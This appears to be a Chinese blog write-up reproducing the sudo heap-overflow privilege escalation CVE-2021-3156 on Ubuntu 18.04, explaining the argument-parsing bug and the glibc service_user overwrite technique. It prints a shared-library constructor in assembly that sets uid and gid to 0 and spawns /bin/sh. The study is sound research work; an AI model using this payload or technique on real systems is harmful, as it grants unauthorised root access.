Ubuntu 18.04

sudo-1.8.21p2

glibc-2.27

漏洞成因

在处理反斜杠时,默认之后会紧跟一个元字符。

    //获取所有命令行参数的长度
    for (size = 0, av = NewArgv + 1; *av; av++)
    size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
    sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
    debug_return_int(-1);
    }
    //将命令行参数复制到user_args 。
    for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
        while (*from) {
        //漏洞点,当以反斜杠结尾时造成heap overflow
        if (from[0] == '\\' && !isspace((unsigned char)from[1]))
            from++;
        *to++ = *from++;
        }
        *to++ = ' ';
    }
    *--to = '\0';
  

以该参数为例:

set args -s ‘\’ “AAAAAAAAAAAAAAAAAAA”

当form[0] == ‘\\’时,from++ 当前字符串的结束符 ,*to++ = *from++ ,form指向下个字符串的起始位置(此时为A),while 循环内,将第二个字符串又写入to中,实际写入长度会超过堆块大小。

可利用点:

  1. 分配的堆块大小可控,由所有命令行参数的长度来决定。
  2. 可控制堆溢出的数据, 溢出为’\\’的下一个字符串决定,可利用环境变量。
  3. 可写入null数据,from == ‘\\’ 时,*to = * from++ 将null字符写入。

Exploitation:

作者说有三种利用手段,我选择了可能最好复现的手段。

将堆块溢出到service_user 字段的name

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

nss_load_library 会使用该结构体来载入一个新的动态链接库。据说nss_load_librray在有堆溢出的情况下,常用于提权。之后可以继续深入研究该函数的调用过程和用处,

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
		      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      //构建动态库的名称 libnss_*.so
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
	{
	  /* Failed to load the library. Try a fallback.  */
	  int n = __snprintf(shlib_name, shlen, "libnss_%s.so.%d.%d",
			   ni->library->name, __GLIBC__, __GLIBC_MINOR__);
	  if (n >= shlen)
	    ni->library->lib_handle = NULL;
	  else
	    ni->library->lib_handle = __libc_dlopen (shlib_name);

	  if (ni->library->lib_handle == NULL)
	    {
	      /* Ok, really fail now.  */
	      ni->library->lib_handle = (void *) -1l;
	      __set_errno (saved_errno);
	    }
	}

这个函数我们需要去命中

ni->library->lib_handle = __libc_dlopen (shlib_name);

观察判断我们的目标在if (ni->library->lib_handle == NULL)内部,但是由于 ASLR 的存在,并且没有堆地址的泄露,所以我们没有办法确保ni->library->lib_handle 一定为空,但是在if (ni->library == NULL)的初始化情况,会新建一个service_user ,此时的ni->library->lib_handle 为空。

还有一个问题就是在载入过程中会遍历service_user 的next指针,所以不能随意将该字段写垃圾指针,应将其置为NULL。由于heap溢出可能会覆盖目标service_user结构体之前的service_user 导致遍历时出错。所以尽量覆盖到第一个service_user 来确保成功利用。

所以堆溢出覆盖service_user的数据为

ni->library == NULL
ni->name = 待加载so的名称
ni->next = NULL

控制堆分配:

在文章他们用名称为systemd的service_user ,从复现的角度来看我们也选择该名称的service_user ,当然也应该明白为什么,将这一步留到之后的分析中。

在文章中作者,在内存空间搜索了“systemd ” 和 “mymachine”来定位待溢出的目标,但是我们通过搜索字符串我们发现只能找到systemd的堆块。

我们知道service_user 是个单链表,这里通过next指针将这条service_user 链表还原。

0x563f627d6c58该地址并非一个堆块地址,所以猜测是一个存放service_user *的堆空间那么这个链有两个结构。

而name == “systemd “的第二个service_user链表,链上仅有一个结构体。

但是调试exp时发现,实际使用的溢出的目标堆块地址均不在这两条链上,可能在后期研究nss_load_library 时,会得到解答。也可以通过next指针回溯当时堆块所在的service_user 链。

由于name=”x/x”

按照拼接规则

实际会加载libnss_x/s.so.2 的动态链接库, 动态链接库代码:

static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"


      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"


      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"


      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;"

);
}

conclusion:
本次复现还残留了不少问题

  1. 堆分配的细节
  2. 如何去定位溢出的service_user 结构?
  3. nss_load_library 的调用过程和它的作用。
  4. 作者如何发现该漏洞? fuzz ? 审计?后期尝试使用AFLfuzz测试下。

本次复现算是踏上了从ctf到真实环境漏洞的第一步, 希望锲而不舍。

https://www.kalmarunionen.dk/writeups/sudo/

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

https://github.com/Rvn0xsy/CVE-2021-3156-plus

分类: 二进制

pareto

未来什么方向不管,先做自己喜欢做的事情。

0 条评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注